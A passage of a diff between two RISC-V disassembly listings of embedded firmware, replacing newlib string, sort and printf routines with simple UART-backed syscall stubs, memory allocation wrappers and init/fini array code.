-20403096:	d422                	sw	s0,40(sp)
-20403098:	d606                	sw	ra,44(sp)
-2040309a:	842a                	mv	s0,a0
-2040309c:	da2e                	sw	a1,52(sp)
-2040309e:	dc32                	sw	a2,56(sp)
-204030a0:	de36                	sw	a3,60(sp)
-204030a2:	c0ba                	sw	a4,64(sp)
-204030a4:	c2be                	sw	a5,68(sp)
-204030a6:	c4c2                	sw	a6,72(sp)
-204030a8:	c6c6                	sw	a7,76(sp)
-204030aa:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-204030ae:	c519                	beqz	a0,204030bc <iprintf+0x28>
-204030b0:	4d1c                	lw	a5,24(a0)
-204030b2:	e789                	bnez	a5,204030bc <iprintf+0x28>
-204030b4:	c62a                	sw	a0,12(sp)
-204030b6:	247000ef          	jal	ra,20403afc <__sinit>
-204030ba:	4532                	lw	a0,12(sp)
-204030bc:	450c                	lw	a1,8(a0)
-204030be:	1854                	addi	a3,sp,52
-204030c0:	8622                	mv	a2,s0
-204030c2:	ce36                	sw	a3,28(sp)
-204030c4:	476010ef          	jal	ra,2040453a <_vfiprintf_r>
-204030c8:	50b2                	lw	ra,44(sp)
-204030ca:	5422                	lw	s0,40(sp)
-204030cc:	6161                	addi	sp,sp,80
-204030ce:	8082                	ret
+204022cc <_lseek>:
+204022cc:	4501                	li	a0,0
+204022ce:	8082                	ret
 
-204030d0 <swapfunc>:
-204030d0:	4709                	li	a4,2
-204030d2:	87aa                	mv	a5,a0
-204030d4:	00c50833          	add	a6,a0,a2
-204030d8:	00e68e63          	beq	a3,a4,204030f4 <swapfunc+0x24>
-204030dc:	8209                	srli	a2,a2,0x2
-204030de:	4198                	lw	a4,0(a1)
-204030e0:	411c                	lw	a5,0(a0)
-204030e2:	0591                	addi	a1,a1,4
-204030e4:	167d                	addi	a2,a2,-1
-204030e6:	c118                	sw	a4,0(a0)
-204030e8:	fef5ae23          	sw	a5,-4(a1)
-204030ec:	0511                	addi	a0,a0,4
-204030ee:	fec048e3          	bgtz	a2,204030de <swapfunc+0xe>
-204030f2:	8082                	ret
-204030f4:	0005c683          	lbu	a3,0(a1)
-204030f8:	0007c703          	lbu	a4,0(a5) # 10000 <__stack_size+0xf800>
-204030fc:	0585                	addi	a1,a1,1
-204030fe:	0785                	addi	a5,a5,1
-20403100:	fed78fa3          	sb	a3,-1(a5)
-20403104:	fee58fa3          	sb	a4,-1(a1)
-20403108:	40f80733          	sub	a4,a6,a5
-2040310c:	fee044e3          	bgtz	a4,204030f4 <swapfunc+0x24>
-20403110:	8082                	ret
+204022d0 <_open>:
+204022d0:	1141                	addi	sp,sp,-16
+204022d2:	00002597          	auipc	a1,0x2
+204022d6:	c7658593          	addi	a1,a1,-906 # 20403f48 <_exit+0x356>
+204022da:	c606                	sw	ra,12(sp)
+204022dc:	26d5                	jal	204026c0 <strcmp>
+204022de:	ed11                	bnez	a0,204022fa <_open+0x2a>
+204022e0:	100137b7          	lui	a5,0x10013
+204022e4:	23300713          	li	a4,563
+204022e8:	cf98                	sw	a4,24(a5)
+204022ea:	4705                	li	a4,1
+204022ec:	c798                	sw	a4,8(a5)
+204022ee:	c7d8                	sw	a4,12(a5)
+204022f0:	4709                	li	a4,2
+204022f2:	cb98                	sw	a4,16(a5)
+204022f4:	40b2                	lw	ra,12(sp)
+204022f6:	0141                	addi	sp,sp,16
+204022f8:	8082                	ret
+204022fa:	557d                	li	a0,-1
+204022fc:	bfe5                	j	204022f4 <_open+0x24>
 
-20403112 <med3.constprop.0>:
-20403112:	1101                	addi	sp,sp,-32
-20403114:	cc22                	sw	s0,24(sp)
-20403116:	ca26                	sw	s1,20(sp)
-20403118:	c84a                	sw	s2,16(sp)
-2040311a:	c64e                	sw	s3,12(sp)
-2040311c:	842e                	mv	s0,a1
-2040311e:	84b2                	mv	s1,a2
-20403120:	ce06                	sw	ra,28(sp)
-20403122:	89aa                	mv	s3,a0
-20403124:	8936                	mv	s2,a3
-20403126:	9682                	jalr	a3
-20403128:	85a6                	mv	a1,s1
-2040312a:	02055463          	bgez	a0,20403152 <med3.constprop.0+0x40>
-2040312e:	8522                	mv	a0,s0
-20403130:	9902                	jalr	s2
-20403132:	00054863          	bltz	a0,20403142 <med3.constprop.0+0x30>
-20403136:	85a6                	mv	a1,s1
-20403138:	854e                	mv	a0,s3
-2040313a:	9902                	jalr	s2
-2040313c:	02054463          	bltz	a0,20403164 <med3.constprop.0+0x52>
-20403140:	844e                	mv	s0,s3
-20403142:	40f2                	lw	ra,28(sp)
-20403144:	8522                	mv	a0,s0
-20403146:	4462                	lw	s0,24(sp)
-20403148:	44d2                	lw	s1,20(sp)
-2040314a:	4942                	lw	s2,16(sp)
-2040314c:	49b2                	lw	s3,12(sp)
-2040314e:	6105                	addi	sp,sp,32
-20403150:	8082                	ret
-20403152:	8522                	mv	a0,s0
-20403154:	9902                	jalr	s2
-20403156:	fea046e3          	bgtz	a0,20403142 <med3.constprop.0+0x30>
-2040315a:	85a6                	mv	a1,s1
-2040315c:	854e                	mv	a0,s3
-2040315e:	9902                	jalr	s2
-20403160:	fe0540e3          	bltz	a0,20403140 <med3.constprop.0+0x2e>
-20403164:	8426                	mv	s0,s1
-20403166:	bff1                	j	20403142 <med3.constprop.0+0x30>
+204022fe <_read>:
+204022fe:	1141                	addi	sp,sp,-16
+20402300:	c422                	sw	s0,8(sp)
+20402302:	c226                	sw	s1,4(sp)
+20402304:	c606                	sw	ra,12(sp)
+20402306:	842e                	mv	s0,a1
+20402308:	84b2                	mv	s1,a2
+2040230a:	29a1                	jal	20402762 <isatty>
+2040230c:	c505                	beqz	a0,20402334 <_read+0x36>
+2040230e:	4501                	li	a0,0
+20402310:	10013737          	lui	a4,0x10013
+20402314:	00950563          	beq	a0,s1,2040231e <_read+0x20>
+20402318:	435c                	lw	a5,4(a4)
+2040231a:	00f04763          	bgtz	a5,20402328 <_read+0x2a>
+2040231e:	40b2                	lw	ra,12(sp)
+20402320:	4422                	lw	s0,8(sp)
+20402322:	4492                	lw	s1,4(sp)
+20402324:	0141                	addi	sp,sp,16
+20402326:	8082                	ret
+20402328:	00a406b3          	add	a3,s0,a0
+2040232c:	00f68023          	sb	a5,0(a3)
+20402330:	0505                	addi	a0,a0,1
+20402332:	b7cd                	j	20402314 <_read+0x16>
+20402334:	557d                	li	a0,-1
+20402336:	b7e5                	j	2040231e <_read+0x20>
 
-20403168 <qsort>:
-20403168:	7175                	addi	sp,sp,-144
-2040316a:	00c56733          	or	a4,a0,a2
-2040316e:	c14a                	sw	s2,128(sp)
-20403170:	dece                	sw	s3,124(sp)
-20403172:	dcd2                	sw	s4,120(sp)
-20403174:	d8da                	sw	s6,112(sp)
-20403176:	c706                	sw	ra,140(sp)
-20403178:	c522                	sw	s0,136(sp)
-2040317a:	c326                	sw	s1,132(sp)
-2040317c:	dad6                	sw	s5,116(sp)
-2040317e:	d6de                	sw	s7,108(sp)
-20403180:	d4e2                	sw	s8,104(sp)
-20403182:	d2e6                	sw	s9,100(sp)
-20403184:	d0ea                	sw	s10,96(sp)
-20403186:	ceee                	sw	s11,92(sp)
-20403188:	8b0d                	andi	a4,a4,3
-2040318a:	892a                	mv	s2,a0
-2040318c:	8b32                	mv	s6,a2
-2040318e:	8a36                	mv	s4,a3
-20403190:	4989                	li	s3,2
-20403192:	e709                	bnez	a4,2040319c <qsort+0x34>
-20403194:	ffc60993          	addi	s3,a2,-4
-20403198:	013039b3          	snez	s3,s3
-2040319c:	4a81                	li	s5,0
-2040319e:	03658433          	mul	s0,a1,s6
-204031a2:	4799                	li	a5,6
-204031a4:	01690d33          	add	s10,s2,s6
-204031a8:	00890cb3          	add	s9,s2,s0
-204031ac:	04b7ef63          	bltu	a5,a1,2040320a <qsort+0xa2>
-204031b0:	039d6963          	bltu	s10,s9,204031e2 <qsort+0x7a>
-204031b4:	220a9b63          	bnez	s5,204033ea <qsort+0x282>
-204031b8:	40ba                	lw	ra,140(sp)
-204031ba:	442a                	lw	s0,136(sp)
-204031bc:	449a                	lw	s1,132(sp)
-204031be:	490a                	lw	s2,128(sp)
-204031c0:	59f6                	lw	s3,124(sp)
-204031c2:	5a66                	lw	s4,120(sp)
-204031c4:	5ad6                	lw	s5,116(sp)
-204031c6:	5b46                	lw	s6,112(sp)
-204031c8:	5bb6                	lw	s7,108(sp)
-204031ca:	5c26                	lw	s8,104(sp)
-204031cc:	5c96                	lw	s9,100(sp)
-204031ce:	5d06                	lw	s10,96(sp)
-204031d0:	4df6                	lw	s11,92(sp)
-204031d2:	6149                	addi	sp,sp,144
-204031d4:	8082                	ret
-204031d6:	86ce                	mv	a3,s3
-204031d8:	865a                	mv	a2,s6
-204031da:	85a6                	mv	a1,s1
-204031dc:	8522                	mv	a0,s0
-204031de:	3dcd                	jal	204030d0 <swapfunc>
-204031e0:	a005                	j	20403200 <qsort+0x98>
-204031e2:	846a                	mv	s0,s10
-204031e4:	a839                	j	20403202 <qsort+0x9a>
-204031e6:	416404b3          	sub	s1,s0,s6
-204031ea:	85a2                	mv	a1,s0
-204031ec:	8526                	mv	a0,s1
-204031ee:	9a02                	jalr	s4
-204031f0:	00a05b63          	blez	a0,20403206 <qsort+0x9e>
-204031f4:	fe0991e3          	bnez	s3,204031d6 <qsort+0x6e>
-204031f8:	4094                	lw	a3,0(s1)
-204031fa:	4018                	lw	a4,0(s0)
-204031fc:	c014                	sw	a3,0(s0)
-204031fe:	c098                	sw	a4,0(s1)
-20403200:	8426                	mv	s0,s1
-20403202:	fe8962e3          	bltu	s2,s0,204031e6 <qsort+0x7e>
-20403206:	9d5a                	add	s10,s10,s6
-20403208:	b765                	j	204031b0 <qsort+0x48>
-2040320a:	0015dd93          	srli	s11,a1,0x1
-2040320e:	036d8db3          	mul	s11,s11,s6
-20403212:	41640433          	sub	s0,s0,s6
-20403216:	479d                	li	a5,7
-20403218:	00890bb3          	add	s7,s2,s0
-2040321c:	9dca                	add	s11,s11,s2
-2040321e:	04f58863          	beq	a1,a5,2040326e <qsort+0x106>
-20403222:	02800793          	li	a5,40
-20403226:	08b7f863          	bgeu	a5,a1,204032b6 <qsort+0x14e>
-2040322a:	818d                	srli	a1,a1,0x3
-2040322c:	036584b3          	mul	s1,a1,s6
-20403230:	86d2                	mv	a3,s4
-20403232:	854a                	mv	a0,s2
-20403234:	009905b3          	add	a1,s2,s1
-20403238:	00958633          	add	a2,a1,s1
-2040323c:	3dd9                	jal	20403112 <med3.constprop.0>
-2040323e:	009d8633          	add	a2,s11,s1
-20403242:	85ee                	mv	a1,s11
-20403244:	86d2                	mv	a3,s4
-20403246:	842a                	mv	s0,a0
-20403248:	409d8533          	sub	a0,s11,s1
-2040324c:	35d9                	jal	20403112 <med3.constprop.0>
-2040324e:	8daa                	mv	s11,a0
-20403250:	00149513          	slli	a0,s1,0x1
-20403254:	40ab8533          	sub	a0,s7,a0
-20403258:	865e                	mv	a2,s7
-2040325a:	86d2                	mv	a3,s4
-2040325c:	009505b3          	add	a1,a0,s1
-20403260:	3d4d                	jal	20403112 <med3.constprop.0>
-20403262:	862a                	mv	a2,a0
-20403264:	85ee                	mv	a1,s11
-20403266:	86d2                	mv	a3,s4
-20403268:	8522                	mv	a0,s0
-2040326a:	3565                	jal	20403112 <med3.constprop.0>
-2040326c:	8daa                	mv	s11,a0
-2040326e:	04099763          	bnez	s3,204032bc <qsort+0x154>
-20403272:	000da603          	lw	a2,0(s11)
-20403276:	00092683          	lw	a3,0(s2)
-2040327a:	00c92023          	sw	a2,0(s2)
-2040327e:	00dda023          	sw	a3,0(s11)
-20403282:	8c6a                	mv	s8,s10
-20403284:	84de                	mv	s1,s7
-20403286:	8dea                	mv	s11,s10
-20403288:	4401                	li	s0,0
-2040328a:	078be463          	bltu	s7,s8,204032f2 <qsort+0x18a>
-2040328e:	85ca                	mv	a1,s2
-20403290:	8562                	mv	a0,s8
-20403292:	9a02                	jalr	s4
-20403294:	06a04a63          	bgtz	a0,20403308 <qsort+0x1a0>
-20403298:	ed09                	bnez	a0,204032b2 <qsort+0x14a>
-2040329a:	02099763          	bnez	s3,204032c8 <qsort+0x160>
-2040329e:	000c2603          	lw	a2,0(s8)
-204032a2:	000da683          	lw	a3,0(s11)
-204032a6:	00cda023          	sw	a2,0(s11)
-204032aa:	00dc2023          	sw	a3,0(s8)
-204032ae:	9dda                	add	s11,s11,s6
-204032b0:	4405                	li	s0,1
-204032b2:	9c5a                	add	s8,s8,s6
-204032b4:	bfd9                	j	2040328a <qsort+0x122>
-204032b6:	865e                	mv	a2,s7
-204032b8:	844a                	mv	s0,s2
-204032ba:	b76d                	j	20403264 <qsort+0xfc>
-204032bc:	86ce                	mv	a3,s3
-204032be:	865a                	mv	a2,s6
-204032c0:	85ee                	mv	a1,s11
-204032c2:	854a                	mv	a0,s2
-204032c4:	3531                	jal	204030d0 <swapfunc>
-204032c6:	bf75                	j	20403282 <qsort+0x11a>
-204032c8:	86ce                	mv	a3,s3
-204032ca:	865a                	mv	a2,s6
-204032cc:	85e2                	mv	a1,s8
-204032ce:	856e                	mv	a0,s11
-204032d0:	3501                	jal	204030d0 <swapfunc>
-204032d2:	bff1                	j	204032ae <qsort+0x146>
-204032d4:	ed01                	bnez	a0,204032ec <qsort+0x184>
-204032d6:	02099363          	bnez	s3,204032fc <qsort+0x194>
-204032da:	4090                	lw	a2,0(s1)
-204032dc:	000ba683          	lw	a3,0(s7)
-204032e0:	00cba023          	sw	a2,0(s7)
-204032e4:	c094                	sw	a3,0(s1)
-204032e6:	416484b3          	sub	s1,s1,s6
-204032ea:	4405                	li	s0,1
-204032ec:	4bb2                	lw	s7,12(sp)
-204032ee:	018bfd63          	bgeu	s7,s8,20403308 <qsort+0x1a0>
-204032f2:	ec2d                	bnez	s0,2040336c <qsort+0x204>
-204032f4:	ed9d70e3          	bgeu	s10,s9,204031b4 <qsort+0x4c>
-204032f8:	846a                	mv	s0,s10
-204032fa:	a0ad                	j	20403364 <qsort+0x1fc>
-204032fc:	86ce                	mv	a3,s3
-204032fe:	865a                	mv	a2,s6
-20403300:	85a6                	mv	a1,s1
-20403302:	855e                	mv	a0,s7
-20403304:	33f1                	jal	204030d0 <swapfunc>
-20403306:	b7c5                	j	204032e6 <qsort+0x17e>
-20403308:	85ca                	mv	a1,s2
-2040330a:	855e                	mv	a0,s7
-2040330c:	9a02                	jalr	s4
-2040330e:	416b87b3          	sub	a5,s7,s6
-20403312:	c63e                	sw	a5,12(sp)
-20403314:	fc0550e3          	bgez	a0,204032d4 <qsort+0x16c>
-20403318:	00098863          	beqz	s3,20403328 <qsort+0x1c0>
-2040331c:	86ce                	mv	a3,s3
-2040331e:	865a                	mv	a2,s6
-20403320:	85de                	mv	a1,s7
-20403322:	8562                	mv	a0,s8
-20403324:	3375                	jal	204030d0 <swapfunc>
-20403326:	a809                	j	20403338 <qsort+0x1d0>
-20403328:	000ba603          	lw	a2,0(s7)
-2040332c:	000c2683          	lw	a3,0(s8)
-20403330:	00cc2023          	sw	a2,0(s8)
-20403334:	00dba023          	sw	a3,0(s7)
-20403338:	4bb2                	lw	s7,12(sp)
-2040333a:	bf9d                	j	204032b0 <qsort+0x148>
-2040333c:	86ce                	mv	a3,s3
-2040333e:	865a                	mv	a2,s6
-20403340:	85a6                	mv	a1,s1
-20403342:	8522                	mv	a0,s0
-20403344:	3371                	jal	204030d0 <swapfunc>
-20403346:	a831                	j	20403362 <qsort+0x1fa>
-20403348:	416404b3          	sub	s1,s0,s6
-2040334c:	85a2                	mv	a1,s0
-2040334e:	8526                	mv	a0,s1
-20403350:	9a02                	jalr	s4
-20403352:	00a05b63          	blez	a0,20403368 <qsort+0x200>
-20403356:	fe0993e3          	bnez	s3,2040333c <qsort+0x1d4>
-2040335a:	4094                	lw	a3,0(s1)
-2040335c:	4018                	lw	a4,0(s0)
-2040335e:	c014                	sw	a3,0(s0)
-20403360:	c098                	sw	a4,0(s1)
-20403362:	8426                	mv	s0,s1
-20403364:	fe8962e3          	bltu	s2,s0,20403348 <qsort+0x1e0>
-20403368:	9d5a                	add	s10,s10,s6
-2040336a:	b769                	j	204032f4 <qsort+0x18c>
-2040336c:	41bc0d33          	sub	s10,s8,s11
-20403370:	412d8633          	sub	a2,s11,s2
-20403374:	00cd5363          	bge	s10,a2,2040337a <qsort+0x212>
-20403378:	866a                	mv	a2,s10
-2040337a:	c611                	beqz	a2,20403386 <qsort+0x21e>
-2040337c:	86ce                	mv	a3,s3
-2040337e:	40cc05b3          	sub	a1,s8,a2
-20403382:	854a                	mv	a0,s2
-20403384:	33b1                	jal	204030d0 <swapfunc>
-20403386:	409c8633          	sub	a2,s9,s1
-2040338a:	41748bb3          	sub	s7,s1,s7
-2040338e:	41660633          	sub	a2,a2,s6
-20403392:	00cbf363          	bgeu	s7,a2,20403398 <qsort+0x230>
-20403396:	865e                	mv	a2,s7
-20403398:	c611                	beqz	a2,204033a4 <qsort+0x23c>
-2040339a:	86ce                	mv	a3,s3
-2040339c:	40cc85b3          	sub	a1,s9,a2
-204033a0:	8562                	mv	a0,s8
-204033a2:	333d                	jal	204030d0 <swapfunc>
-204033a4:	84ea                	mv	s1,s10
-204033a6:	417c8533          	sub	a0,s9,s7
-204033aa:	017d7763          	bgeu	s10,s7,204033b8 <qsort+0x250>
-204033ae:	874a                	mv	a4,s2
-204033b0:	84de                	mv	s1,s7
-204033b2:	892a                	mv	s2,a0
-204033b4:	8bea                	mv	s7,s10
-204033b6:	853a                	mv	a0,a4
-204033b8:	057b7363          	bgeu	s6,s7,204033fe <qsort+0x296>
-204033bc:	479d                	li	a5,7
-204033be:	036bd5b3          	divu	a1,s7,s6
-204033c2:	0157ef63          	bltu	a5,s5,204033e0 <qsort+0x278>
-204033c6:	003a9713          	slli	a4,s5,0x3
-204033ca:	089c                	addi	a5,sp,80
-204033cc:	973e                	add	a4,a4,a5
-204033ce:	fd272023          	sw	s2,-64(a4)
-204033d2:	0a85                	addi	s5,s5,1
-204033d4:	0364d4b3          	divu	s1,s1,s6
-204033d8:	fc972223          	sw	s1,-60(a4)
-204033dc:	892a                	mv	s2,a0
-204033de:	b3c1                	j	2040319e <qsort+0x36>
-204033e0:	86d2                	mv	a3,s4
-204033e2:	865a                	mv	a2,s6
-204033e4:	3351                	jal	20403168 <qsort>
-204033e6:	009b6e63          	bltu	s6,s1,20403402 <qsort+0x29a>
-204033ea:	1afd                	addi	s5,s5,-1
-204033ec:	003a9713          	slli	a4,s5,0x3
-204033f0:	089c                	addi	a5,sp,80
-204033f2:	973e                	add	a4,a4,a5
-204033f4:	fc072503          	lw	a0,-64(a4)
-204033f8:	fc472583          	lw	a1,-60(a4)
-204033fc:	b7c5                	j	204033dc <qsort+0x274>
-204033fe:	da9b7be3          	bgeu	s6,s1,204031b4 <qsort+0x4c>
-20403402:	0364d5b3          	divu	a1,s1,s6
-20403406:	854a                	mv	a0,s2
-20403408:	bfd1                	j	204033dc <qsort+0x274>
+20402338 <_write>:
+20402338:	1141                	addi	sp,sp,-16
+2040233a:	c422                	sw	s0,8(sp)
+2040233c:	c226                	sw	s1,4(sp)
+2040233e:	c606                	sw	ra,12(sp)
+20402340:	842e                	mv	s0,a1
+20402342:	84b2                	mv	s1,a2
+20402344:	2939                	jal	20402762 <isatty>
+20402346:	c121                	beqz	a0,20402386 <_write+0x4e>
+20402348:	85a2                	mv	a1,s0
+2040234a:	00940733          	add	a4,s0,s1
+2040234e:	100137b7          	lui	a5,0x10013
+20402352:	46a9                	li	a3,10
+20402354:	4635                	li	a2,13
+20402356:	00e59863          	bne	a1,a4,20402366 <_write+0x2e>
+2040235a:	40b2                	lw	ra,12(sp)
+2040235c:	4422                	lw	s0,8(sp)
+2040235e:	8526                	mv	a0,s1
+20402360:	4492                	lw	s1,4(sp)
+20402362:	0141                	addi	sp,sp,16
+20402364:	8082                	ret
+20402366:	4388                	lw	a0,0(a5)
+20402368:	fe054fe3          	bltz	a0,20402366 <_write+0x2e>
+2040236c:	0005c503          	lbu	a0,0(a1)
+20402370:	c388                	sw	a0,0(a5)
+20402372:	0005c503          	lbu	a0,0(a1)
+20402376:	00d51663          	bne	a0,a3,20402382 <_write+0x4a>
+2040237a:	4388                	lw	a0,0(a5)
+2040237c:	fe054fe3          	bltz	a0,2040237a <_write+0x42>
+20402380:	c390                	sw	a2,0(a5)
+20402382:	0585                	addi	a1,a1,1
+20402384:	bfc9                	j	20402356 <_write+0x1e>
+20402386:	54fd                	li	s1,-1
+20402388:	bfc9                	j	2040235a <_write+0x22>
 
-2040340a <siprintf>:
-2040340a:	7135                	addi	sp,sp,-160
-2040340c:	cb3e                	sw	a5,148(sp)
-2040340e:	800007b7          	lui	a5,0x80000
-20403412:	fff7c793          	not	a5,a5
-20403416:	ce3e                	sw	a5,28(sp)
-20403418:	c83e                	sw	a5,16(sp)
-2040341a:	77c1                	lui	a5,0xffff0
-2040341c:	c532                	sw	a2,136(sp)
-2040341e:	c736                	sw	a3,140(sp)
-20403420:	c42a                	sw	a0,8(sp)
-20403422:	cc2a                	sw	a0,24(sp)
-20403424:	20878793          	addi	a5,a5,520 # ffff0208 <_heap_end+0x7ffe1a08>
-20403428:	0134                	addi	a3,sp,136
-2040342a:	862e                	mv	a2,a1
-2040342c:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-20403430:	002c                	addi	a1,sp,8
-20403432:	de86                	sw	ra,124(sp)
-20403434:	ca3e                	sw	a5,20(sp)
-20403436:	c93a                	sw	a4,144(sp)
-20403438:	cd42                	sw	a6,152(sp)
-2040343a:	cf46                	sw	a7,156(sp)
-2040343c:	c236                	sw	a3,4(sp)
-2040343e:	29f000ef          	jal	ra,20403edc <_svfiprintf_r>
-20403442:	47a2                	lw	a5,8(sp)
-20403444:	00078023          	sb	zero,0(a5)
-20403448:	50f6                	lw	ra,124(sp)
-2040344a:	610d                	addi	sp,sp,160
-2040344c:	8082                	ret
+2040238a <atexit>:
+2040238a:	85aa                	mv	a1,a0
+2040238c:	4681                	li	a3,0
+2040238e:	4601                	li	a2,0
+20402390:	4501                	li	a0,0
+20402392:	a93d                	j	204027d0 <__register_exitproc>
 
-2040344e <strcmp>:
-2040344e:	00054603          	lbu	a2,0(a0)
-20403452:	0005c683          	lbu	a3,0(a1)
-20403456:	0505                	addi	a0,a0,1
-20403458:	0585                	addi	a1,a1,1
-2040345a:	00d61363          	bne	a2,a3,20403460 <strcmp+0x12>
-2040345e:	fa65                	bnez	a2,2040344e <strcmp>
-20403460:	40d60533          	sub	a0,a2,a3
-20403464:	8082                	ret
+20402394 <__libc_fini_array>:
+20402394:	1141                	addi	sp,sp,-16
+20402396:	c422                	sw	s0,8(sp)
+20402398:	c226                	sw	s1,4(sp)
+2040239a:	fffff417          	auipc	s0,0xfffff
+2040239e:	4d640413          	addi	s0,s0,1238 # 20401870 <exit>
+204023a2:	fffff497          	auipc	s1,0xfffff
+204023a6:	4ce48493          	addi	s1,s1,1230 # 20401870 <exit>
+204023aa:	8c05                	sub	s0,s0,s1
+204023ac:	c606                	sw	ra,12(sp)
+204023ae:	8409                	srai	s0,s0,0x2
+204023b0:	e411                	bnez	s0,204023bc <__libc_fini_array+0x28>
+204023b2:	40b2                	lw	ra,12(sp)
+204023b4:	4422                	lw	s0,8(sp)
+204023b6:	4492                	lw	s1,4(sp)
+204023b8:	0141                	addi	sp,sp,16
+204023ba:	8082                	ret
+204023bc:	147d                	addi	s0,s0,-1
+204023be:	00241793          	slli	a5,s0,0x2
+204023c2:	97a6                	add	a5,a5,s1
+204023c4:	439c                	lw	a5,0(a5)
+204023c6:	9782                	jalr	a5
+204023c8:	b7e5                	j	204023b0 <__libc_fini_array+0x1c>
 
-20403466 <strcpy>:
-20403466:	87aa                	mv	a5,a0
-20403468:	0005c703          	lbu	a4,0(a1)
-2040346c:	0785                	addi	a5,a5,1
-2040346e:	0585                	addi	a1,a1,1
-20403470:	fee78fa3          	sb	a4,-1(a5)
-20403474:	fb75                	bnez	a4,20403468 <strcpy+0x2>
-20403476:	8082                	ret
+204023ca <__libc_init_array>:
+204023ca:	1141                	addi	sp,sp,-16
+204023cc:	c422                	sw	s0,8(sp)
+204023ce:	c226                	sw	s1,4(sp)
+204023d0:	fffff417          	auipc	s0,0xfffff
+204023d4:	4a040413          	addi	s0,s0,1184 # 20401870 <exit>
+204023d8:	fffff497          	auipc	s1,0xfffff
+204023dc:	49848493          	addi	s1,s1,1176 # 20401870 <exit>
+204023e0:	8c81                	sub	s1,s1,s0
+204023e2:	c04a                	sw	s2,0(sp)
+204023e4:	c606                	sw	ra,12(sp)
+204023e6:	8489                	srai	s1,s1,0x2
+204023e8:	4901                	li	s2,0
+204023ea:	02991563          	bne	s2,s1,20402414 <__libc_init_array+0x4a>
+204023ee:	fffff417          	auipc	s0,0xfffff
+204023f2:	48240413          	addi	s0,s0,1154 # 20401870 <exit>
+204023f6:	fffff497          	auipc	s1,0xfffff
+204023fa:	47a48493          	addi	s1,s1,1146 # 20401870 <exit>
+204023fe:	8c81                	sub	s1,s1,s0
+20402400:	8489                	srai	s1,s1,0x2
+20402402:	4901                	li	s2,0
+20402404:	00991d63          	bne	s2,s1,2040241e <__libc_init_array+0x54>
+20402408:	40b2                	lw	ra,12(sp)
+2040240a:	4422                	lw	s0,8(sp)
+2040240c:	4492                	lw	s1,4(sp)
+2040240e:	4902                	lw	s2,0(sp)
+20402410:	0141                	addi	sp,sp,16
+20402412:	8082                	ret
+20402414:	401c                	lw	a5,0(s0)
+20402416:	0905                	addi	s2,s2,1
+20402418:	0411                	addi	s0,s0,4
+2040241a:	9782                	jalr	a5
+2040241c:	b7f9                	j	204023ea <__libc_init_array+0x20>
+2040241e:	401c                	lw	a5,0(s0)
+20402420:	0905                	addi	s2,s2,1
+20402422:	0411                	addi	s0,s0,4
+20402424:	9782                	jalr	a5
+20402426:	bff9                	j	20402404 <__libc_init_array+0x3a>
 
-20403478 <strlen>:
-20403478:	87aa                	mv	a5,a0
-2040347a:	0007c703          	lbu	a4,0(a5)
-2040347e:	0785                	addi	a5,a5,1
-20403480:	ff6d                	bnez	a4,2040347a <strlen+0x2>
-20403482:	40a78533          	sub	a0,a5,a0
-20403486:	157d                	addi	a0,a0,-1
-20403488:	8082                	ret
+20402428 <malloc>:
+20402428:	85aa                	mv	a1,a0
+2040242a:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+2040242e:	a8d5                	j	20402522 <_malloc_r>
 
-2040348a <strncpy>:
-2040348a:	87aa                	mv	a5,a0
-2040348c:	ca09                	beqz	a2,2040349e <strncpy+0x14>
-2040348e:	0005c703          	lbu	a4,0(a1)
-20403492:	0585                	addi	a1,a1,1
-20403494:	0785                	addi	a5,a5,1
-20403496:	fee78fa3          	sb	a4,-1(a5)
-2040349a:	167d                	addi	a2,a2,-1
-2040349c:	fb65                	bnez	a4,2040348c <strncpy+0x2>
-2040349e:	963e                	add	a2,a2,a5
-204034a0:	00c79363          	bne	a5,a2,204034a6 <strncpy+0x1c>
-204034a4:	8082                	ret
-204034a6:	0785                	addi	a5,a5,1
-204034a8:	fe078fa3          	sb	zero,-1(a5)
-204034ac:	bfd5                	j	204034a0 <strncpy+0x16>
+20402430 <free>:
+20402430:	85aa                	mv	a1,a0
+20402432:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+20402436:	a0b9                	j	20402484 <_free_r>
 
-204034ae <strnlen>:
-204034ae:	95aa                	add	a1,a1,a0
-204034b0:	87aa                	mv	a5,a0
-204034b2:	00b78563          	beq	a5,a1,204034bc <strnlen+0xe>
-204034b6:	0007c703          	lbu	a4,0(a5)
-204034ba:	e701                	bnez	a4,204034c2 <strnlen+0x14>
-204034bc:	40a78533          	sub	a0,a5,a0
-204034c0:	8082                	ret
-204034c2:	0785                	addi	a5,a5,1
-204034c4:	b7fd                	j	204034b2 <strnlen+0x4>
+20402438 <memcpy>:
+20402438:	832a                	mv	t1,a0
+2040243a:	ca09                	beqz	a2,2040244c <memcpy+0x14>
+2040243c:	00058383          	lb	t2,0(a1)
+20402440:	00730023          	sb	t2,0(t1)
+20402444:	167d                	addi	a2,a2,-1
+20402446:	0305                	addi	t1,t1,1
+20402448:	0585                	addi	a1,a1,1
+2040244a:	fa6d                	bnez	a2,2040243c <memcpy+0x4>
+2040244c:	8082                	ret
 
-204034c6 <strrchr>:
-204034c6:	e18d                	bnez	a1,204034e8 <strrchr+0x22>
-204034c8:	4460106f          	j	2040490e <strchr>
-204034cc:	00150793          	addi	a5,a0,1
-204034d0:	84aa                	mv	s1,a0
-204034d2:	85a2                	mv	a1,s0
-204034d4:	853e                	mv	a0,a5
-204034d6:	438010ef          	jal	ra,2040490e <strchr>
-204034da:	f96d                	bnez	a0,204034cc <strrchr+0x6>
-204034dc:	40b2                	lw	ra,12(sp)
-204034de:	4422                	lw	s0,8(sp)
-204034e0:	8526                	mv	a0,s1
-204034e2:	4492                	lw	s1,4(sp)
-204034e4:	0141                	addi	sp,sp,16
-204034e6:	8082                	ret
-204034e8:	1141                	addi	sp,sp,-16
-204034ea:	c422                	sw	s0,8(sp)
-204034ec:	c226                	sw	s1,4(sp)
-204034ee:	c606                	sw	ra,12(sp)
-204034f0:	87aa                	mv	a5,a0
-204034f2:	842e                	mv	s0,a1
-204034f4:	4481                	li	s1,0
-204034f6:	bff1                	j	204034d2 <strrchr+0xc>
+2040244e <memmove>:
+2040244e:	c215                	beqz	a2,20402472 <memmove+0x24>
+20402450:	832a                	mv	t1,a0
+20402452:	4685                	li	a3,1
+20402454:	00b56763          	bltu	a0,a1,20402462 <memmove+0x14>
+20402458:	56fd                	li	a3,-1
+2040245a:	fff60713          	addi	a4,a2,-1
